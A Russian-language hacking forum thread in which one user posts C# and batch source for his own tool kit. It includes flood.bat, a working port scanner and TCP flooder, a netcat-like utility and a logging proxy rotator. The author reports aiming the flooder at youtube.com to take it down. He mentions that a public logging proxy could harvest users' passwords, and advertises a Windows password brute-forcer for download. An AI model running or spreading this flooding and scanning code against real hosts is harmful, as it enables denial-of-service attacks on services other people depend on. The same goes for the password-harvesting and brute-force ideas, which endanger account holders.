pcixi.ru
Творческое объединение шизофреников
Лечение шизофрении творчеством и общением на pcixi.ru

Успешные хакерские взломы. Скачать свежие утечки и книги
Talomir #421 | Суббота, 03.08.2024, 21:12
Автор темы
Повелитель буйных
Поступившие в отделение
Юзер-бар +
ЧЕТЫРЕ ОКНА FLOOD.BAT ЛОЖАТ СРЕДНИЙ СЕТЕВОЙ СЕРВИС


Всё серъёзно, я добавил механизмы синхронизации потоков на семафорах, чтобы не было гонок при старте обработчиков подключений. В ручной работе - работает многоконный чат.

Но вот на курилке решил запустить стресс-тест утилиты pipesend, при помощи неё-же в скрипте flood.bat выше, режим --crashport

И что-же, через две минуты работы 4 окон крэшера порта, мой pipesend сервер перестал отвечать. Это при том, что он занимает всего 2 экрана и ничего кроме чтения сокетов и файлов не делает. Флудер вместе с ИИ-генератором мусора завалили мою последнюю разработку за две минуты! Ваши сетевые программы пройдут стрессо-тестирование?

Будет работа на 2-3 недели, по повышению стрессоустойчивости, задача творческая, надо думать как к ней подступиться...


vietnamese accent



Ламеры ламают, хакеры - поламывают. Ламеры хромают, хакеры - прихрамывают.
Моя лучшая хакерская тема: https://pcixi.ru/forum/78-11690-1
Моя последняя крутая тема: https://pcixi.ru/forum/78-11690-1
Статус: нет меня
 
Talomir #422 | Суббота, 03.08.2024, 21:14
Автор темы
Повелитель буйных
Поступившие в отделение
Юзер-бар +
Кто не может исправить ошибки в стресс-тесте - тот ламер!


Ламеры ламают, хакеры - поламывают. Ламеры хромают, хакеры - прихрамывают.
Моя лучшая хакерская тема: https://pcixi.ru/forum/78-11690-1
Моя последняя крутая тема: https://pcixi.ru/forum/78-11690-1
Статус: нет меня
 
Talomir #423 | Суббота, 03.08.2024, 21:44
Автор темы
Повелитель буйных
Поступившие в отделение
Юзер-бар +
ПОНЯТНО ЧТО НА СИ-ШАРПЕ - ПИШЕТСЯ. ТЫ НА BATе НАПИШИ!

ПРОТОКОЛИРУЮЩИЙ ПРОКСИ-СЕРВЕР НА ПОЛ ЭКРАНА


Начал второй проект, паралельно pipesend-у и flood-у, протоколирующий прокси-сервер на.bat с pipesend, для снятия протоколов сайтов в первую очередь. Конечно, протоколирующий прокси можно выставить в сеть, засветить адрес в публикациях и попасть в фри-прокси-листы, писать пароли пользователей, юзающих бесплатные прокси. Студентам интересно, мне в 50 - не очень. А вот покопаться в протоколах сайтов интересно! В общем, планирую сделать и раздать, каждый будет юзать как хочет.

Идея запускать на порту pipesend, слушающий сокет и перенаправляющий поток байтов на настоящий прокси из free-proxy-list. И паралельным подключением логать это всё в файл и выводить в окно. Приблизительно это выглядит как в следующем черновике (пример кода на пол экрана наполовину работает, но очень медленно пока-что)

Код
@echo off

if "%1" == "" goto Usage

echo Starting proxy on address 127.0.0.1 port %1
echo THIS IS DRAFT: non-finished code

pipesend --listen %1 127.0.0.1 | pipesend --noeof %2 %3 | pipesend --noeof 127.0.0.1 %1

goto ExitMe

:Usage

echo USAGE: logproxy listen_port real_http_proxy preal_proxy_port
echo Set browser proxy to 127.0.0.1:listenport and drive browser to http://yoursite.com

:ExitMe


Если доведу, за несколько недель, то релиз будет в одном архиве с pipesend и flood.bat, набор сетевого хакера и тестировщика от меня. А пока что показываю окна с выводом этого полу-рабочего примера:





Ламеры ламают, хакеры - поламывают. Ламеры хромают, хакеры - прихрамывают.
Моя лучшая хакерская тема: https://pcixi.ru/forum/78-11690-1
Моя последняя крутая тема: https://pcixi.ru/forum/78-11690-1
Статус: нет меня
 
Talomir #424 | Суббота, 03.08.2024, 21:59
Автор темы
Повелитель буйных
Поступившие в отделение
Юзер-бар +
Запустил www.youtube.com на тест, сайт заведомо уязвимый судя по сбоям 30 июля - 3 августа, может и flood.bat его уделает, и у меня будет кнопка 'выключить' раздражающую психо-обработку с андроида!




Ламеры ламают, хакеры - поламывают. Ламеры хромают, хакеры - прихрамывают.
Моя лучшая хакерская тема: https://pcixi.ru/forum/78-11690-1
Моя последняя крутая тема: https://pcixi.ru/forum/78-11690-1
Статус: нет меня
 
Talomir #425 | Воскресенье, 04.08.2024, 15:01
Автор темы
Повелитель буйных
Поступившие в отделение
Юзер-бар +
БОЛЕЕ НАДЁЖНЫЙ PIPESEND И КОРОТКИЙ FLOOD.BAT


Я уже писал, что 3 и 4 окна флудера вешали сервер pipesend в режиме чата, исключение выбрасывалось из-за переполнения очереди listen-backlog в методе Socket.Accept и из-за ситуации гонок. Также, были плохо продуманы таймауты приёма-передачи и чтения-записи файловых дескрипторов, не все файловые операции обрабатывали исключения.

После всех этих исправлений чат-сервер pipesend уже выдерживает 3 окна flood.bat, лишь на время теряя работоспособность при переполнении подключений и данных флудом. По хорошему, надо вести счётчики соединений с одного ip и при больше 100 в минуту с одного адреса блокировать адрес на день, не пропуская соединений с него. Так называемая защита от tcp-флуда.

Исходники надёжного pipesend.exe приведены ниже, половина кода является обеспечением надёжности, вторая половина - логики работы.

Код
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Net;
using System.Net.Sockets;
using System.Net.NetworkInformation;
using System.IO;
using System.Threading;

namespace pipesend
{
    class Program
    {
        const int RWTIMEOUTMS = 300, CONNECTTIMEOUTMS = 300, MAXCLIENTS = 25;

        static bool done = false;
        static int port = 8888;
        static int argsshift = 0;
        static bool NOEOF = false;

        static Semaphore _bind_socket = new Semaphore(0, 1);
        static Semaphore _data_socket = new Semaphore(0, 1);
        static Socket BindSocket = null;
        static Socket data = null;

        static void Main(string[] args)
        {
            if (args.Length < 2 || args[0].Equals("-h") || args[0].Equals("--help"))
            {
                Console.WriteLine("pipesend: send a file to remote tcp port or run a chat-server, version 1.3");
                Console.WriteLine("USAGE: pipesend [--noeof] host_or_ip port <file.dat");
                Console.WriteLine("EXAMPLE: echo AA|pipesend 192.168.1.1 80");
                Console.WriteLine("USAGE: pipesend --listen port local_ip1 [local_ip2 local_ip3...]");
                Console.WriteLine("EXAMPLE: pipesend --listen 8888 127.0.0.1");
                Console.WriteLine("--noeof  ignore EOF when input is redirected to file and continue wait data");
                return;
            }

            if (args[0].Equals("--noeof")) { NOEOF = true; argsshift = 1; }

            try { port = Int32.Parse(args[1+argsshift]); } catch { }

            if (args[0].Equals("--listen"))
            {
                List<Task> list = new List<Task>();                    

                for (int i = 2; i < args.Length; i++)
                    try
                    {                        
                        IPAddress addr = Dns.GetHostAddresses(args[i])[0];
                        BindSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                        BindSocket.Bind(new IPEndPoint(addr, port));
                        BindSocket.Listen(1000);                        
                        list.Add(Task.Run(Accepter));
                        _bind_socket.WaitOne();
                    }
                    catch { }

                Task.WaitAll(list.ToArray<Task>());
            }
            else
                try
                {
                    IPAddress ip = Dns.GetHostAddresses(args[0+argsshift])[0];

                    Socket sok = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                    sok.ReceiveTimeout = RWTIMEOUTMS;
                    sok.SendTimeout = RWTIMEOUTMS;

                    IAsyncResult result = sok.BeginConnect(ip, port, null, null);

                    bool success = result.AsyncWaitHandle.WaitOne(CONNECTTIMEOUTMS, true);

                    if (sok.Connected)
                    {
                        Stream fs = Console.OpenStandardInput();
                        Stream os = Console.OpenStandardOutput();

                        while (true)
                        {
                            byte[] buf;

                            int r = 0;

                            if (!Console.IsInputRedirected)
                            {
                    buf = new byte[1];
                    if (Console.KeyAvailable) r = fs.Read(buf, 0, buf.Length);
                            }
                            else
                            {
                    buf = new byte[8192];
                    try { r = fs.Read(buf, 0, buf.Length); } catch { }
                            }
                            if (r > 0)
                            {
                    byte[] sbuf = new byte[r];

                    for (int i = 0; i < r; i++) sbuf[i] = buf[i];

                    sok.Send(sbuf);

                    if (!Console.IsInputRedirected) continue;
                            }
                            else if (Console.IsInputRedirected && !NOEOF) break;

                            try
                            {
                    byte[] rbuf = new byte[8192];

                    int a = 0;

                    if (sok.Available > 0) a = sok.Receive(rbuf);
                    if (a > 0) try { os.Write(rbuf, 0, a); os.Flush(); } catch { }
                            }
                            catch { }
                        }
                        
                        done = true;
                        try { fs.Close(); } catch { }
                        try { os.Close(); } catch { }

                    }
                    else Console.WriteLine("can't connect "+ip);
                    try { sok.Shutdown(SocketShutdown.Both); } catch { }
                    try { sok.Close(); } catch { }

                }
                catch { }

                if (done) Console.WriteLine("ok");
                else Console.WriteLine("error");
        }

        static async Task Accepter()
        {
            Socket bind = BindSocket;
            _bind_socket.Release();

            bind.ReceiveTimeout = CONNECTTIMEOUTMS;
            bind.SendTimeout = CONNECTTIMEOUTMS;

            while (true)
                try
                {
                    data = null;
                    try { data = bind.Accept(); } catch { }
                    if (data == null) continue;
                    bool overflow = false;
                    lock (clients_lock) { if (clients.Count >= MAXCLIENTS) overflow = true; }
                    if (overflow)
                    {
                        try { data.Shutdown(SocketShutdown.Both); } catch { }
                        try { data.Close(); } catch { }
                        continue;
                    }
                    data.ReceiveTimeout = RWTIMEOUTMS;
                    data.SendTimeout = RWTIMEOUTMS;

                    Task.Run(SocketReader);
                    _data_socket.WaitOne();
                }
                catch { }
        }

        static List<Socket> clients = new List<Socket>();

        static object clients_lock = new object();

        static async Task SocketReader()
        {            
            Socket DataSocket = data;
            _data_socket.Release();

            try
            {
                Stream fs = Console.OpenStandardOutput();

                lock (clients_lock) clients.Add(DataSocket);

                byte[] buf = new byte[8192];

                do
                {
                    int r = 0;

                    if (DataSocket.Available > 0) r = DataSocket.Receive(buf);

                    if (r < 0) break;
                    else
                    {
                        byte[] sbuf = new byte[r];

                        for (int i = 0; i < r; i++) sbuf[i] = buf[i];

                        try
                        {
                            fs.Write(buf, 0, r);
                            fs.Flush();
                        }
                        catch { }

                        lock (clients_lock)
                        {
                            for (int i = 0; i < clients.Count; i++)
                    if (clients[i] != DataSocket)
                    try { clients[i].Send(sbuf); } catch { }
                        }
                    }
                } while (true);

                fs.Close();
            }
            catch { }

            try { DataSocket.Shutdown(SocketShutdown.Both); } catch { }
            try { DataSocket.Close(); } catch { }
            
            lock(clients_lock) {
                for (int i = 0; i < clients.Count; i++) if (clients[i] == DataSocket)
                    { clients.RemoveAt(i); break; }
            }            
        }
    }
}


Также, я сократил размеры flood.bat в 5 раз, используя подпрограммы и циклы вместо копирования и вставок кода, и улучшил его поражающую способность. Исходники ниже.

Код
@echo off

if "%1" == "--ping" goto Ping
if "%1" == "--ping2" goto Ping2
if "%1" == "--scan" goto Scan
if "%1" == "--scanall" goto Scanall
if "%1" == "--crashport" goto Crashport
if "%1" == "--crashall" goto Crashall

echo FLOOD.BAT: flood host with generator's garbage to ports 1-1024 or a given port
echo USAGE:
echo flood --ping 192.168.1                   find hosts on local net and shows their names and IP addresses
echo flood --ping2 192.168                    find hosts on local net level 2 and shows their names and IP addresses
echo flood --scan host                        scan open root tcp ports on given host
echo flood --scanall host                     scan all open tcp ports on given host
echo flood --crashport phrase.exe 80 host1... host6     flood port 80 on set of hosts with fuzzer phrase.exe
echo flood --crashall phrase.exe host1... host6         flood ports 1-1024 with phrase.exe generator
goto exit_me

:Crashport

if not "%4" == "" call :Sendphrase %2 %4 %3
if not "%5" == "" call :Sendphrase %2 %5 %3
if not "%6" == "" call :Sendphrase %2 %6 %3
if not "%7" == "" call :Sendphrase %2 %7 %3
if not "%8" == "" call :Sendphrase %2 %8 %3
if not "%9" == "" call :Sendphrase %2 %9 %3

goto Crashport

:Crashall

for /L %%P in (1, 1, 1024) do (

if not "%3" == "" call :Sendphrase %2 %3 %%P
if not "%4" == "" call :Sendphrase %2 %4 %%P
if not "%5" == "" call :Sendphrase %2 %5 %%P
if not "%6" == "" call :Sendphrase %2 %6 %%P
if not "%7" == "" call :Sendphrase %2 %7 %%P
if not "%8" == "" call :Sendphrase %2 %8 %%P
if not "%9" == "" call :Sendphrase %2 %9 %%P
)
goto Crashall

:Ping
for /L %%Q in (0, 1, 255) do (
    ping -n 1 -w 20 %2.%%Q | find "TTL" >_1_%2%%Q
    if not errorlevel 1 nslookup %2.%%Q
    del _1_%2%%Q
)
goto exit_me

:Ping2
for /L %%Q in (0, 1, 255) do (
    for /L %%R in (0, 1, 255) do (
  ping -n 1 -w 20 %2.%%Q.%%R | find "TTL" >_1_%2.%%Q%%R
  if not errorlevel 1 nslookup %2.%%Q.%%R
  del _1_%2.%%Q%%R
    )
)
goto exit_me

:Scan
for /L %%Q in (1, 1, 1024) do (
    echo GET|pipesend %2 %%Q | find "ok" >_1_%2%%Q
    if not errorlevel 1 echo %%Q open tcp
    del _1_%2%%Q
)
goto exit_me

:Scanall
for /L %%Q in (1, 1, 65535) do (
    echo GET|pipesend %2 %%Q | find "ok" >_1_%2.%%Q
    if not errorlevel 1 echo %%Q open tcp
    del _1_%2.%%Q
)
goto exit_me

:Sendphrase
echo Crash %2 %3 unicode
for /l %%m in (1, 1, 23) do start /b %1|pipesend %2 %3
echo Crash %2 %3 ascii
for /l %%m in (1, 1, 23) do start /b %1 -a|pipesend %2 %3
timeout /t 3
exit /b
  
:exit_me


Последняя раздача бинарников и исходников по тексту вверх обновлена на эти две последних версии. Качайте!



Ламеры ламают, хакеры - поламывают. Ламеры хромают, хакеры - прихрамывают.
Моя лучшая хакерская тема: https://pcixi.ru/forum/78-11690-1
Моя последняя крутая тема: https://pcixi.ru/forum/78-11690-1
Сообщение отредактировал(а) Talomir - Воскресенье, 04.08.2024, 15:02
Статус: нет меня
 
Talomir #426 | Воскресенье, 04.08.2024, 23:15
Автор темы
Повелитель буйных
Поступившие в отделение
Юзер-бар +
РОТАТОР ПРОКСЕЙ И ЛОГГЕР ПРОТОКОЛОВ САЙТОВ


Ротатор проксей является посредником между браузером и прокси-серверами. Он переключает браузер на следующий прокси раз в 2 минуты, так что трафик сложно отслеживать, понимать и перехватывать, что улучшает анонимность и безопасность в интернете. Одна из замен VPN.

Протоколирующий ротатор при этом пишет обмен между браузером и сайтов в текстовый файл, если сайт поддерживает протокол HTTP j можно по протоколу разобрать логику работы сайта, записав сеанс работы с сайтом в файл и тщательно прочитав его. Это не работает с HTTPS сайтами.

Сегодня я за пару часов написал, на имеющихся кусках кода из разных проектов, свой ротатор проксей, протоколирующий. запускается он как C:>logproxy log.txt 8888 127.0.0.1 тут 8888 это порт для прокси-поля браузера, а 127.0.0.1 это адрес прокси-поля для браузера.

logproxy ожидает подключения от браузера, дампит запрос в файл, подбирает хороший прокси через API и посылает данные запроса на удалённый настоящий прокси. И - дампит ответ удалённой машины. То есть он располагается между браузером и прокси-сервером, и раз в 2 минуты менят прокси на новый. Так весь трафик меняет маршруты для неотслеживаемости а HTTP сайты можно анализировать по протоколу зайдя на них через http://

Исходники проекта logproxy

Program.cs
Код
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Net;
using System.Net.Sockets;
using System.Threading;

namespace logproxy
{
    class Program
    {
        static int listen_port = 8888;
        static Log log = null;

        static Semaphore _bind_socket = new Semaphore(0, 1);
        static Semaphore _data_socket = new Semaphore(0, 1);
        static Socket BindSocket = null;
        static Socket data = null;
        static int clients = 0;

        const int MAXCLIENTS = 512;

        static void Main(string[] args)
        {
            if (args.Length == 0 || args[0].Equals("-h") || args[0].Equals("--help"))
            {
                Console.WriteLine("HTTP proxy rotator and logger for the protocol analyses, v1.0");
                Console.WriteLine("USAGE: logproxy file.txt listen_port bind_ip1 bind_ip2...");
                return;
            }

            try { listen_port = Int32.Parse(args[1]); } catch { }

            log = new Log(args[0]);

            List<Task> list = new List<Task>();

            for (int i = 2; i < args.Length; i++)
                try
                {
                    IPAddress addr = Dns.GetHostAddresses(args[i])[0];
                    BindSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                    BindSocket.Bind(new IPEndPoint(addr, listen_port));
                    BindSocket.Listen(1000);
                    list.Add(Task.Run(Accepter));
                    _bind_socket.WaitOne();
                }
                catch { }

            Task.WaitAll(list.ToArray<Task>());
            log.Close();
        }

        static async Task Accepter()
        {
            Socket bind = BindSocket;
            _bind_socket.Release();

            bind.ReceiveTimeout = Browser.RWTIMEOUTMS;
            bind.SendTimeout = Browser.RWTIMEOUTMS;

            while (true)
                try
                {
                    data = null;
                    try { data = bind.Accept(); } catch { }
                    if (data == null) continue;
                    if (clients++ >= MAXCLIENTS)
                    {
                        try { data.Shutdown(SocketShutdown.Both); } catch { }
                        try { data.Close(); } catch { }
                        clients--;
                        continue;
                    }

                    Console.WriteLine("accepted new connection!");

                    Task.Run(SocketReader);
                    _data_socket.WaitOne();
                }
                catch { }
        }
        static async Task SocketReader()
        {
            Socket DataSocket = data;
            _data_socket.Release();

            Browser browser = new Browser(DataSocket);
            Proxy proxy = new Proxy();

            proxy.Connect();

            byte[] buf = new byte[8192];

            int r = 0;

            do
            {
                do
                {
                    r = browser.Receive(buf);

                    if (r > 0)
                    {
                        Console.WriteLine("received " + r + " bytes from browser");
                        log.Write(Buffer.Cut(buf, r), "browser asks");
                    }

                    if (proxy.Send(Buffer.Cut(buf, r)) < 1 && r > 0) goto ProxyFail;

                } while (r > 0);

                do
                {
                    r = proxy.Receive(buf);

                    if (r > 0)
                    {
                        Console.WriteLine("received " + r + " bytes from proxy");
                        log.Write(Buffer.Cut(buf, r), "site answers");
                    }

                    if (browser.Send(Buffer.Cut(buf, r)) < 1 && r > 0) goto BrowserFail;

                } while (r > 0);

            } while (true);

        ProxyFail:
        BrowserFail:

            browser.Close();
            proxy.Close();            

            clients--;
        }
    }
}


Browser.cs
Код
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Net;
using System.Net.Sockets;

namespace logproxy
{
    internal class Browser
    {
        internal static int RWTIMEOUTMS = 300;

        protected Socket sok = null;
        internal Browser(Socket data)
        {
            sok = data;
        }

        internal int Receive(byte[] buffer)
        {
            try
            {
                sok.ReceiveTimeout = RWTIMEOUTMS;

                return sok.Receive(buffer);

            } catch { return 0; }
        }

        internal int Send(byte[] buffer)
        {
            try
            {
                sok.SendTimeout = RWTIMEOUTMS;

                return sok.Send(buffer);

            } catch { return 0; }
        }

        internal void Close()
        {
            try { sok.Shutdown(SocketShutdown.Both); } catch { }
            try { sok.Close(); } catch { }
        }
    }
}


Proxy.cs
Код
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Net;
using System.Net.Sockets;
using System.IO;

namespace logproxy
{
    internal class Proxy
    {
        static int RWTIMEOUTMS = 300;
        static int CONNECTTIMEOUTMS = 400;

        protected Socket sok = null;
        internal Proxy()
        {
            ProxyList = GetList();
        }
        internal int Send(byte[] buffer)
        {
            try
            {
                if (sok == null) sok = Connect(GetNextGoodProxy());

                if (sok == null) return 0;

                sok.SendTimeout = RWTIMEOUTMS;

                return sok.Send(buffer);
            }
            catch { return 0; }
        }

        internal int Receive(byte[] buffer)
        {
            try
            {
                if (sok == null) sok = Connect(GetNextGoodProxy());

                if (sok == null) return 0;

                sok.ReceiveTimeout = RWTIMEOUTMS;

                return sok.Receive(buffer);
            }
            catch { return 0; }
        }

        internal bool Connect()
        {
            try
            {
                sok = Connect(GetNextGoodProxy());

                if (sok != null) return true;
            }
            catch { }

            return false;
        }

        internal void Close()
        {
            try { sok.Shutdown(SocketShutdown.Both); } catch { }
            try { sok.Close(); } catch { }
            sok = null;
        }

        protected Socket Connect(string proxy)
        {
            try
            {
                string host = proxy.Replace("http://", "").Replace("https://", "").Split(':')[0];
                int port = Int32.Parse(proxy.Replace("http://", "").Replace("https://", "").Split(':')[1]);

                IPAddress ip = Dns.GetHostAddresses(host)[0];

                Socket sok = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                sok.ReceiveTimeout = RWTIMEOUTMS;
                sok.SendTimeout = RWTIMEOUTMS;

                IAsyncResult result = sok.BeginConnect(ip, port, null, null);

                bool success = result.AsyncWaitHandle.WaitOne(CONNECTTIMEOUTMS, true);

                if (sok.Connected) return sok;

                try { sok.Shutdown(SocketShutdown.Both); } catch { }
                try { sok.Close(); } catch { }

            }
            catch { }

            return null;
        }

        static string last_good_proxy = "";
        static DateTime last_check_time = DateTime.Now;
        static object last_lock = new object();
        protected string GetNextGoodProxy(int maxtry = 50)
        {
            try
            {
                for (int i = 0; i < maxtry; i++)
                {
                    if (LastProxy.Length > 0) return LastProxy;

                    string proxy = GetNext;

                    Console.WriteLine("checking proxy " + proxy + "...");

                    if (CheckProxy(proxy, "http://www.microsoft.com")
                        && CheckProxy(proxy, "https://www.microsoft.com")
                        )
                    {
                        LastProxy = proxy;
                        return proxy;
                    }
                }
            }
            catch { }

            Console.WriteLine("error: no good proxy found");
            return "";
        }

        protected string LastProxy
        {
            get
            {
                lock (last_lock)
                {
                    if (DateTime.Now.Subtract(last_check_time).TotalMinutes <= 2
                        && last_good_proxy.Length > 0) return last_good_proxy;
                    else return "";
                }
            }
            set
            {
                lock (last_lock)
                {
                    last_good_proxy = value;
                    last_check_time = DateTime.Now;
                }
            }
        }

        protected bool CheckProxy(string proxy, string testurl = "http://www.microsoft.com")
        {
            try
            {
                HttpWebRequest request = (HttpWebRequest)WebRequest.Create(testurl);

                request.Timeout = 5000;
                request.Proxy = new WebProxy(proxy);

                HttpWebResponse response = (HttpWebResponse)request.GetResponse();

                string ResponseString = new StreamReader(response.GetResponseStream()).ReadToEnd();

                if (ResponseString.Length > 1024) return true;
            }
            catch { }

            return false;
        }

        protected List<string> ProxyList = new List<string>();
        protected int ListIndex = 0;

        public string GetNext
        {
            get
            {
                try
                {
                    if (ListIndex >= ProxyList.Count)
                    {
                        ProxyList = GetList();
                        ListIndex = 0;
                    }
                    string proxy = ProxyList[ListIndex++];

                    return proxy;

                }
                catch { return ""; }
            }
        }

        internal List<string> GetList()
        {
            try
            {
                HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://api.proxyscrape.com/v2/?request=displayproxies&protocol=http&timeout=10000&country=all&ssl=all&anonymity=all");

                request.Timeout = 5000;
                request.Proxy = null;

                HttpWebResponse response = (HttpWebResponse)request.GetResponse();

                string ResponseString = new StreamReader(response.GetResponseStream()).ReadToEnd();

                string[] ar = ResponseString.Split('\n');

                List<string> res = new List<string>();

                foreach (string l in ar)
                    if (l.Trim('\r', '\n', '\t', ' ').Length > 0)
                        res.Add("http://" + l.Trim('\r', '\n', '\t', ' '));

                return res;
            }
            catch { return new List<string>(); }
        }

    }
}


Log.cs
Код
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;

namespace logproxy
{
    internal class Log
    {
        string filename = "log.txt";
        FileStream fs = null;
        object fs_lock = new object();
        internal Log(string filename, bool overrite = false)
        {
            try
            {
                this.filename = filename;
                if (overrite) File.WriteAllText(filename, "");

                fs = new FileStream(filename, FileMode.OpenOrCreate);
            }
            catch { }
        }

        internal void Close() { try { fs.Close(); } catch { } }

        internal bool Write (byte[] data, string Comment)
        {
            lock (fs_lock)
                try
                {
                    byte[] b = Encoding.ASCII.GetBytes("\r\n\r\n\r\n[ " + DateTime.Now+": " + Comment + " ]\r\n");
                    fs.Write(b, 0, b.Length);
                    fs.Write(data, 0, data.Length);
                    return true;
                } catch { return false; }
        }
    }
}



Ламеры ламают, хакеры - поламывают. Ламеры хромают, хакеры - прихрамывают.
Моя лучшая хакерская тема: https://pcixi.ru/forum/78-11690-1
Моя последняя крутая тема: https://pcixi.ru/forum/78-11690-1
Статус: нет меня
 
Talomir #427 | Воскресенье, 04.08.2024, 23:16
Автор темы
Повелитель буйных
Поступившие в отделение
Юзер-бар +
Скачать logproxy можно будет через пару дней, когда я тщательно оттестирую код.


Ламеры ламают, хакеры - поламывают. Ламеры хромают, хакеры - прихрамывают.
Моя лучшая хакерская тема: https://pcixi.ru/forum/78-11690-1
Моя последняя крутая тема: https://pcixi.ru/forum/78-11690-1
Статус: нет меня
 
Talomir #428 | Понедельник, 05.08.2024, 01:54
Автор темы
Повелитель буйных
Поступившие в отделение
Юзер-бар +
ЭТОТ ПОСТ НА ЭТОМ ФОРУМЕ СДЕЛАН ПО СЛУЧАЙНОМУ СЕТЕВОМУ МАРШРУТУ


Через прокси-ротатор logproxy.exe, добавленный в атозагрузку Windows. Поправил с десяток узких мест, теперь своя прокся летает, и открываются и pcixi и форума на этом сайте.




Ламеры ламают, хакеры - поламывают. Ламеры хромают, хакеры - прихрамывают.
Моя лучшая хакерская тема: https://pcixi.ru/forum/78-11690-1
Моя последняя крутая тема: https://pcixi.ru/forum/78-11690-1
Статус: нет меня
 
Talomir #429 | Понедельник, 05.08.2024, 11:49
Автор темы
Повелитель буйных
Поступившие в отделение
Юзер-бар +

БЕСПЛАТНЫЙ VPN "LOGPROXY" СО СМЕНОЙ IP КАЖДЫЕ 10 МИНУТ



О принципах работы писал выше, день тестировал - нормально работает, ускорил в 100 раз и стабилизировал программу. Замена и VPN (случайная точка выхода трафика с шифрованием по SSL) и Tor. Из поисковиков с этим ротатором проксей нормально работает Bing, браузеры тестировались Brave и Firefox.

Для добавления logproxy в автозагрузку Windows:

- разархивируете архив сетевых программ и перемещаете в C:\nethack-suite-1.0

- в папке C:\nethack-suite-1.0\log-proxy в файле logproxy.bat правите порт с 9999 на нужный вам, это порт вашего прокси-сервера для браузера и программ, на адресе 127.0.0.1 (виртуальный ip адрес, есть в любом домашнем компьютере)

- копируете logproxy.bat, нажимаете Win+R, shell:startup, октрывается папка с программами автозагрузки, вставляете сюда logproxy.bat

- в браузере прописываете HTTP и HTTPS прокси на 127.0.0.1 и выбранный вами порт, меняете поисковую систему на Bing (работает через прокси)

- запускате logproxy.bat и тестируете открытием сайтов

- перезагружаете Windows

Сачать logproxy.exe можно в составе nethack-suite-1.0 по ссылке ниже!


NETHACK-SUITE-1.0


food.exe free nethack-suite\food\
Даунлодер документов с сайтов, сканер скрытых поддоменов и крэшер сайтов

flood.bat free nethack-suite\pipesend\
Обнаружение хостов в подсети, сканирование портов, крэш tcp портов

pipesend.exe free nethack-suite\pipesend\
Переписанный netcat, аналог telnet на порт, посылка файла на порт, соединение с портом, и даже шифрованный и нешифрованный чат - групповой talk

logproxy.exe free nethack-suite\log-proxy\
Логгирование протокола HTTP сайта, бесплатный прокси со сменой ip каждые 10 минут (анонимайзер, замена VPN и Tor)

phrase.exe free nethack-suite\pipesend\
Генератор опасных для программ строк, скриптов, SQL запросов, фрагментов всех популярных протоколов, для тестирования tcp портов на ошибки и их крэша

wmibrute.exe free nethack-suite\wmibrute\
Брутефорс пароля Windows через RPC\WMI, новый метод брута, словари для брута

hacker4.exe 15eur nethack-suite\hacker4\
Кульный чат с ИИ обученным на хакинге и электронике, с 3D графикой

RewriterStudio.exe 40eur nethack-suite\rewriter-studio\
Автоматически пишет статьи о компьютерах по названию и фрагменту текста, переписывает статьи и новости методами синтеза текста

CleanWeb.exe 15eur nethack-suite\clean-web\
Мета-поисковик с автоматической очисткой страниц от стоп-слов и переписыванием страниц большим цветом и на выбранном фоне, защита глаз и психического здоровья

clean-windows.exe free nethack-suite\clean-windows\
Удаление 80% ненужных сервисов и драйверов и ускорение компьютера в 4 раза


Скачать через файлообменник:
nethack-suite-1.0.zip



Ламеры ламают, хакеры - поламывают. Ламеры хромают, хакеры - прихрамывают.
Моя лучшая хакерская тема: https://pcixi.ru/forum/78-11690-1
Моя последняя крутая тема: https://pcixi.ru/forum/78-11690-1
Сообщение отредактировал(а) Talomir - Вторник, 06.08.2024, 19:42
Статус: нет меня
 
Talomir #430 | Понедельник, 05.08.2024, 17:08
Автор темы
Повелитель буйных
Поступившие в отделение
Юзер-бар +
СЛЕДУЮЩИЙ ПРОЕКТ: ANTITRACE.EXE

antitrace.exe - Resident Coockies Cleaner

"Cleans coockies and browser history every 10 minutes automatically. Compatible with Firefox, Brave, ... Runs together with logproxy.exe from the logproxy.bat file at the windows startup..."



Ламеры ламают, хакеры - поламывают. Ламеры хромают, хакеры - прихрамывают.
Моя лучшая хакерская тема: https://pcixi.ru/forum/78-11690-1
Моя последняя крутая тема: https://pcixi.ru/forum/78-11690-1
Статус: нет меня
 
Talomir #431 | Понедельник, 05.08.2024, 17:49
Автор темы
Повелитель буйных
Поступившие в отделение
Юзер-бар +
Фото захода на сайт ит-армии через случайный шифрованный маршрут интернета, используется logproxy.exe вместо устаревшего Tor.exe




Ламеры ламают, хакеры - поламывают. Ламеры хромают, хакеры - прихрамывают.
Моя лучшая хакерская тема: https://pcixi.ru/forum/78-11690-1
Моя последняя крутая тема: https://pcixi.ru/forum/78-11690-1
Статус: нет меня
 
Talomir #432 | Понедельник, 05.08.2024, 23:19
Автор темы
Повелитель буйных
Поступившие в отделение
Юзер-бар +
Нет нужды писать клинер самому, под firefox поставил расширение CyberGhost Cleaner, под brave есть опция браузера удалять куки и данные сайта при закрытии страницы.


Ламеры ламают, хакеры - поламывают. Ламеры хромают, хакеры - прихрамывают.
Моя лучшая хакерская тема: https://pcixi.ru/forum/78-11690-1
Моя последняя крутая тема: https://pcixi.ru/forum/78-11690-1
Сообщение отредактировал(а) Talomir - Понедельник, 05.08.2024, 23:31
Статус: нет меня
 
Talomir #433 | Понедельник, 05.08.2024, 23:23
Автор темы
Повелитель буйных
Поступившие в отделение
Юзер-бар +
Добавил класс канера проксей в logproxy.bat, теперь если сам не нашёл проксей - берёт у стороннего поставщика по API, иначе берёт свои. Сохраняет в текущую папку файл proxies.txt Архив nethack-suite-1.0 перезакачан выше


Ламеры ламают, хакеры - поламывают. Ламеры хромают, хакеры - прихрамывают.
Моя лучшая хакерская тема: https://pcixi.ru/forum/78-11690-1
Моя последняя крутая тема: https://pcixi.ru/forum/78-11690-1
Сообщение отредактировал(а) Talomir - Понедельник, 05.08.2024, 23:24
Статус: нет меня
 
